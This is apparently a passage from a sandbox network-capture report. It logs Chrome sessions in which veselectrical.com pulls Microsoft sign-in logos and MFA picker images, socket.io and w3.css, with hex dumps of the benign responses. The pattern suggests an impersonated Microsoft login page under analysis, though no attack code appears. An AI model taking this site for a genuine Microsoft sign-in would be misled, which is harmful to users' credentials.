translateY(0)}30%{-webkit
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 30 25 2c 74 6f 7b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 74 79 2c 2e 34 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 2d 77 65 Data Ascii: scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-we
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 7d 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 7d 38 25 2c 32 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 38 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 38 64 65 67 29 7d 31 32 25 2c 32 38 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 64 65 67 29 7d 31 36 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 Data Ascii: m:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:rot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	13.107.246.64	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	655	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 4de04481-601e-0065-6362-361aad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230124Z-16547b76f7fd4rc5hC1DFWkzhw00000006r000000000kx82 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:24 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	13.107.246.64	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	675	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 6158e1f5-201e-0006-7d33-388756000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230124Z-16547b76f7fz92z5hC1DFWmdx800000004qg00000000nquq x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:24 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	13.107.246.64	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	658	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	784	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 2f5c6997-901e-0079-7349-383f72000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230124Z-164f84587bfs5tz9hC1DFW9a3w00000006fg00000000u2c8 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:24 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	13.107.246.45	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	653	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	785	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: ac693482-901e-0056-18c2-3932b9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T230124Z-16547b76f7f9s8x7hC1DFWywrg000000069g0000000075ub x-fd-int-roxy-purgeid: 79218156 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:01:24 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	13.35.58.71	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	359	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	703	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Thu, 05 Sep 2024 12:10:03 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::qxsjc-1725538203767-a565e46decc2 X-Cache: Hit from cloudfront Via: 1.1 d6f0ad3267f72bf9b59a5eb61f811fe2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P10 X-Amz-Cf-Id: HjSx90m7idNygnJYJZFdiDNXKC6qFkFR9wWeop7uubJmzO8bGix07A== Age: 7244936
2024-11-18 23:01:25 UTC	15681	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-11-18 23:01:25 UTC	16384	IN	Data Raw: 69 64 20 74 68 69 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 29 2c 30 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 69 2e 72 65 71 75 65 73 74 73 43 6f 75 6e 74 2b 2b 2c 69 2e 72 65 71 75 65 73 74 73 5b 74 68 69 73 2e 69 6e 64 65 78 5d 3d 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 65 2c 74 68 69 73 2e 78 68 72 29 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 6e 75 70 22 2c 76 61 6c 75 65 3a 66 75 Data Ascii: id this.setTimeoutFn((function(){t.onError(e)}),0)}"undefined"!=typeof document&&(this.index=i.requestsCount++,i.requests[this.index]=this)}},{key:"onError",value:function(e){this.emitReserved("error",e,this.xhr),this.cleanup(!0)}},{key:"cleanup",value:fu
2024-11-18 23:01:25 UTC	16384	IN	Data Raw: 3a 65 2e 64 61 74 61 2c 69 64 3a 65 2e 69 64 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 65 6e 63 6f 64 65 41 73 53 74 72 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 2b 65 2e 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 26 26 65 2e 74 79 70 65 21 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 7c 7c 28 74 2b 3d 65 2e 61 74 74 61 63 68 6d 65 6e 74 73 2b 22 2d 22 29 2c 65 2e 6e 73 70 26 26 22 2f 22 21 3d 3d 65 2e 6e 73 70 26 26 28 74 2b 3d 65 2e 6e 73 70 2b 22 2c 22 29 2c 6e 75 6c 6c 21 3d 65 2e 69 64 26 26 28 74 2b 3d 65 2e 69 64 29 2c 6e 75 6c 6c 21 3d 65 2e 64 61 74 61 26 26 28 74 2b 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 2e 64 61 74 61 2c 74 68 Data Ascii: :e.data,id:e.id})}},{key:"encodeAsString",value:function(e){var t=""+e.type;return e.type!==Be.BINARY_EVENT&&e.type!==Be.BINARY_ACK\|\|(t+=e.attachments+"-"),e.nsp&&"/"!==e.nsp&&(t+=e.nsp+","),null!=e.id&&(t+=e.id),null!=e.data&&(t+=JSON.stringify(e.data,th
2024-11-18 23:01:25 UTC	1544	IN	Data Raw: 73 65 74 54 69 6d 65 6f 75 74 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 28 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 61 74 74 65 6d 70 74 22 2c 74 2e 62 61 63 6b 6f 66 66 2e 61 74 74 65 6d 70 74 73 29 2c 74 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 7c 7c 74 2e 6f 70 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3f 28 74 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 3d 21 31 2c 74 2e 72 65 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 72 65 63 6f 6e 6e 65 63 74 5f 65 72 72 6f 72 22 2c 6e 29 29 3a 74 2e 6f 6e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 29 29 29 7d 29 2c 6e 29 3b 74 68 69 73 2e 6f 70 74 73 2e 61 75 74 6f 55 6e 72 65 66 26 26 72 Data Ascii: setTimeoutFn((function(){t.skipReconnect\|\|(e.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect\|\|t.open((function(n){n?(t._reconnecting=!1,t.reconnect(),e.emitReserved("reconnect_error",n)):t.onreconnect()})))}),n);this.opts.autoUnref&&r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	192.229.133.221	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	546	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:25 UTC	575	IN	HTTP/1.1 200 OK Age: 32919 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Mon, 18 Nov 2024 23:01:25 GMT Etag: "0b892bdb339db1:0+ident" Last-Modified: Mon, 18 Nov 2024 12:16:48 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-11-18 23:01:25 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-11-18 23:01:25 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49753	152.199.21.175	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:25 UTC	661	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
